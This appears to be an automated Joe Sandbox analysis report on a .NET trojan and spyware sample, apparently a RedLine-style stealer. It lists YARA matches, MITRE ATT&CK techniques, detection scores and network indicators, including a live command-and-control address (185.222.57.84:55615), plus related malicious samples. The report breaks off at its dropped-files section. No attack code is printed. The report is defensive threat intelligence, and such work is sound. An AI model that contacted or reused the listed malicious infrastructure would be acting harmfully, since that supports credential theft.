                        Source: Yara matchFile source: dump.pcap, type: PCAP
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7572, type: MEMORYSTR

                        Mitre Att&ck Matrix

                        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                        Gather Victim Identity InformationAcquire InfrastructureValid Accounts221
                        Windows Management Instrumentation                        		1
                        DLL Side-Loading                        		11
                        Process Injection                        		1
                        Masquerading                        		1
                        OS Credential Dumping                        		221
                        Security Software Discovery                        		Remote Services11
                        Archive Collected Data                        		11
                        Encrypted Channel                        		Exfiltration Over Other Network MediumAbuse Accessibility Features
                        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
                        DLL Side-Loading                        		1
                        Disable or Modify Tools                        		LSASS Memory1
                        Process Discovery                        		Remote Desktop Protocol3
                        Data from Local System                        		11
                        Non-Standard Port                        		Exfiltration Over BluetoothNetwork Denial of Service
                        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)241
                        Virtualization/Sandbox Evasion                        		Security Account Manager241
                        Virtualization/Sandbox Evasion                        		SMB/Windows Admin SharesData from Network Shared Drive1
                        Ingress Tool Transfer                        		Automated ExfiltrationData Encrypted for Impact
                        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                        Process Injection                        		NTDS1
                        Application Window Discovery                        		Distributed Component Object ModelInput Capture3
                        Non-Application Layer Protocol                        		Traffic DuplicationData Destruction
                        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                        Deobfuscate/Decode Files or Information                        		LSA Secrets113
                        System Information Discovery                        		SSHKeylogging14
                        Application Layer Protocol                        		Scheduled TransferData Encrypted for Impact
                        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
                        Obfuscated Files or Information                        		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items22
                        Software Packing                        		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                        DLL Side-Loading                        		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                        Behavior Graph

                        Hide Legend

                        Legend:

                        • Process
                        • Signature
                        • Created File
                        • DNS/IP Info
                        • Is Dropped
                        • Is Windows Process
                        • Number of created Registry Values
                        • Number of created Files
                        • Visual Basic
                        • Delphi
                        • Java
                        • .Net C# or VB.NET
                        • C, C++ or other language
                        • Is malicious
                        • Internet

                        Screenshots

                        Thumbnails

                        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                        windows-stand

                        Antivirus, Machine Learning and Genetic Malware Detection

                        Initial Sample

                        SourceDetectionScannerLabelLink
                        chTJmCR9bS.exe71%ReversingLabsByteCode-MSIL.Trojan.Jalapeno
                        chTJmCR9bS.exe100%Joe Sandbox ML

                        Dropped Files

                        ⊘No Antivirus matches

                        Unpacked PE Files

                        ⊘No Antivirus matches

                        Domains

                        ⊘No Antivirus matches

                        URLs

                        SourceDetectionScannerLabelLink
                        185.222.57.84:556150%Avira URL Cloudsafe
                        http://www.ascendercorp.com/typedesigners.htmlQ0%Avira URL Cloudsafe
                        http://185.222.57.84:556150%Avira URL Cloudsafe
                        http://185.222.57.84:55615t-0%Avira URL Cloudsafe
                        http://185.222.57.84:50%Avira URL Cloudsafe
                        http://185.222.57.84:55615/0%Avira URL Cloudsafe
                        http://www.sakkal.com&0%Avira URL Cloudsafe
                        http://www.itcfonts.k0%Avira URL Cloudsafe

                        Domains and IPs

                        Contacted Domains

                        NameIPActiveMaliciousAntivirus DetectionReputation
                        api.ip.sb.cdn.cloudflare.net
                        		104.26.12.31
                        		truefalse
                          		high
                          api.ip.sb
                          		unknown
                          		unknownfalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            185.222.57.84:55615true
                            • Avira URL Cloud: safe
                            		unknown
                            https://api.ip.sb/geoipfalse
                              		high
                              http://185.222.57.84:55615/true
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://duckduckgo.com/chrome_newtabtmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                		high
                                http://www.fontbureau.com/designersGchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://duckduckgo.com/ac/?q=tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                    		high
                                    http://www.fontbureau.com/designers/?chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.founder.com.cn/cn/bThechTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://schemas.xmlsoap.org/ws/2004/08/addressing/faultXchTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.fontbureau.com/designers?chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://185.222.57.84:55615chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://tempuri.org/Endpoint/EnvironmentSettingschTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003470000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.ascendercorp.com/typedesigners.htmlQchTJmCR9bS.exe, 00000000.00000002.1827074735.00000000062B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://schemas.xmlsoap.org/soap/envelope/chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.tiro.comchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://tempuri.org/chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                      		high
                                                      http://www.fontbureau.com/designerschTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.goodfont.co.krchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://tempuri.org/Endpoint/VerifyUpdateResponsechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://tempuri.org/Endpoint/SetEnvironmentchTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://tempuri.org/Endpoint/SetEnvironmentResponsechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://tempuri.org/DchTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.sajatypeworks.comchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://185.222.57.84:5chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://tempuri.org/Endpoint/GetUpdateschTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003470000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://www.typography.netDchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.founder.com.cn/cn/cThechTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://www.galapagosdesign.com/staff/dennis.htmchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://api.ipify.orgcookies//settinString.RemovegchTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://185.222.57.84:55615t-chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchtmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                		high
                                                                                http://www.galapagosdesign.com/DPleasechTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://tempuri.org/Endpoint/VerifyUpdatechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://tempuri.org/0chTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://www.fonts.comchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://www.sandoll.co.krchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://www.urwpp.deDPleasechTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.zhongyicts.com.cnchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.sakkal.comchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://ipinfo.io/ip%appdata%chTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://www.apache.org/licenses/LICENSE-2.0chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.fontbureau.comchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.google.com/images/branding/product/ico/googleg_lodp.icotmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                                          		high
                                                                                                          http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymouschTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://tempuri.org/Endpoint/CheckConnectResponsechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://schemas.datacontract.org/2004/07/chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://api.ip.sb/geoip%USERPEnvironmentROFILE%chTJmCR9bS.exe, chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                                                    		high
                                                                                                                    http://tempuri.org/Endpoint/CheckConnectchTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.ecosia.org/newtab/tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                                                        		high
                                                                                                                        http://tempuri.org/Endpoint/GetUpdchTJmCR9bS.exe, 00000002.00000002.1930362222.000000000374E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://www.carterandcone.comlchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://ac.ecosia.org/autocomplete?q=tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                                                              		high
                                                                                                                              http://www.fontbureau.com/designers/cabarga.htmlNchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://www.founder.com.cn/cnchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://www.fontbureau.com/designers/frere-user.htmlchTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    http://schemas.xmlsoap.org/ws/2004/08/addressingchTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://www.sakkal.com&chTJmCR9bS.exe, 00000000.00000002.1827165764.00000000062F4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      http://www.itcfonts.kchTJmCR9bS.exe, 00000000.00000002.1827118138.00000000062DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      http://tempuri.org/Endpoint/GetUpdatesResponsechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        http://www.jiyu-kobo.co.jp/chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          http://tempuri.org/Endpoint/EnvironmentSettingsResponsechTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            http://www.fontbureau.com/designers8chTJmCR9bS.exe, 00000000.00000002.1827234812.00000000073C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drfalse
                                                                                                                                                		high
                                                                                                                                                http://schemas.xmlsoap.org/soap/actor/nextchTJmCR9bS.exe, 00000002.00000002.1930362222.0000000003421000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high

                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public IPs

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  185.222.57.84
                                                                                                                                                  		unknownNetherlands
                                                                                                                                                  		51447ROOTLAYERNETNLtrue
                                                                                                                                                  104.26.12.31
                                                                                                                                                  		api.ip.sb.cdn.cloudflare.netUnited States
                                                                                                                                                  		13335CLOUDFLARENETUSfalse

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox version:42.0.0 Malachite
                                                                                                                                                  Analysis ID:1594596
                                                                                                                                                  Start date and time:2025-01-19 13:01:07 +01:00
                                                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 7m 25s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:full
                                                                                                                                                  Cookbook file name:default.jbs
                                                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                  Number of analysed new started processes analysed:8
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Sample name:chTJmCR9bS.exe
                                                                                                                                                  renamed because original name is a hash value
                                                                                                                                                  Original Sample Name:963F526636C53E9ECF5AF8025E0DACA0.exe
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal100.troj.spyw.evad.winEXE@4/43@1/2
                                                                                                                                                  EGA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  HCA Information:
                                                                                                                                                  • Successful, ratio: 99%
                                                                                                                                                  • Number of executed functions: 116
                                                                                                                                                  • Number of non-executed functions: 10
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Found application associated with file extension: .exe

                                                                                                                                                  Warnings

                                                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 52.168.117.173, 184.28.90.27, 52.149.20.212, 13.107.246.45
                                                                                                                                                  • Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  TimeTypeDescription
                                                                                                                                                  07:02:08API Interceptor41x Sleep call for process: chTJmCR9bS.exe modified

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  104.26.12.31VKJITO.exeGet hashmaliciousCobaltStrike, MetasploitBrowse
                                                                                                                                                  • ip.sb/

                                                                                                                                                  Domains

                                                                                                                                                  ⊘No context

                                                                                                                                                  ASNs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  CLOUDFLARENETUSVM-849541.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                  • 104.17.25.14
                                                                                                                                                  deploy.ps1Get hashmaliciousDanaBotBrowse
                                                                                                                                                  • 172.65.251.78
                                                                                                                                                  deploy.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                  • 172.65.251.78
                                                                                                                                                  PgOfRNLIVK.exeGet hashmaliciousLummaC, Amadey, Babadeda, GCleaner, KeyLogger, LummaC Stealer, PureLog StealerBrowse
                                                                                                                                                  • 104.21.112.1
                                                                                                                                                  https://nam.dcv.ms/TgEkOrA6UCGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                  • 104.17.25.14
                                                                                                                                                  https://nam.dcv.ms/TgEkOrA6UCGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                  • 104.17.25.14
                                                                                                                                                  http://oxtzgomhodrz.topGet hashmaliciousUnknownBrowse
                                                                                                                                                  • 172.67.185.180
                                                                                                                                                  https://store.redeemwalletscode.com/redeemwalletcode/gift/307603441Get hashmaliciousUnknownBrowse
                                                                                                                                                  • 104.21.96.1
                                                                                                                                                  https://cdn.trytraffics.com/rdr/YWE9MzYwNzU4ODI2JnNlaT0zMDQxNjIyMiZ0az1tWW9iTU9UQlE2RXh3dE9hZnJZTyZ0PTUmYz05MGFzODc2ZmQ4OWFzNWZnOGEwOXM=Get hashmaliciousUnknownBrowse
                                                                                                                                                  • 188.114.96.3
                                                                                                                                                  https://cdn.trytraffics.com/rdr/YWE9MzYwNzU4NTE0JnNlaT0zMDU2MjM5OCZ0az1VRE1JQWhncE83NWdNZ2lSdDV1dCZ0PTUmYz05MGFzODc2ZmQ4OWFzNWZnOGEwOXM=Get hashmaliciousUnknownBrowse
                                                                                                                                                  • 188.114.97.3
                                                                                                                                                  ROOTLAYERNETNLRFQ.exeGet hashmaliciousQuasar, PureLog StealerBrowse
                                                                                                                                                  • 185.222.57.67
                                                                                                                                                  p0GiAimtNm.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 185.222.58.237
                                                                                                                                                  nzLoHpgAln.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 185.222.57.76
                                                                                                                                                  ljMiHZ8MwZ.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 45.137.22.250
                                                                                                                                                  aYf5ibGObB.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 185.222.58.90
                                                                                                                                                  K3xL5Xy0XS.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 185.222.58.90
                                                                                                                                                  Invoice-BL. Payment TT $ 16945.99.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 45.137.22.164
                                                                                                                                                  MfzXU6tKOq.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                  • 185.222.58.82
                                                                                                                                                  lWnSA7IyVc.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                  • 185.222.58.229
                                                                                                                                                  8ZVd2S51fr.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                  • 185.222.58.241

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  54328bd36c14bd82ddaa0c04b25ed9adHMPjSwlux3.exeGet hashmaliciousQuasar, SugarDumpBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  pcOsVBMQDB.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  Quote - 840 Tons of Reinforcing Steel.jseGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  csso.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  OUTSTANDING PAYMENT REQUEST.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  SWIFT COPY.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  hrB6qa0jOz.batGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  Copia Pagamento Intesa_Sanpaolo_pdf.batGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  PO202501F.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                  • 104.26.12.31
                                                                                                                                                  shipment details.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                  • 104.26.12.31

                                                                                                                                                  Dropped Files

                                                                                                                                                  ⊘No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\chTJmCR9bS.exe.log

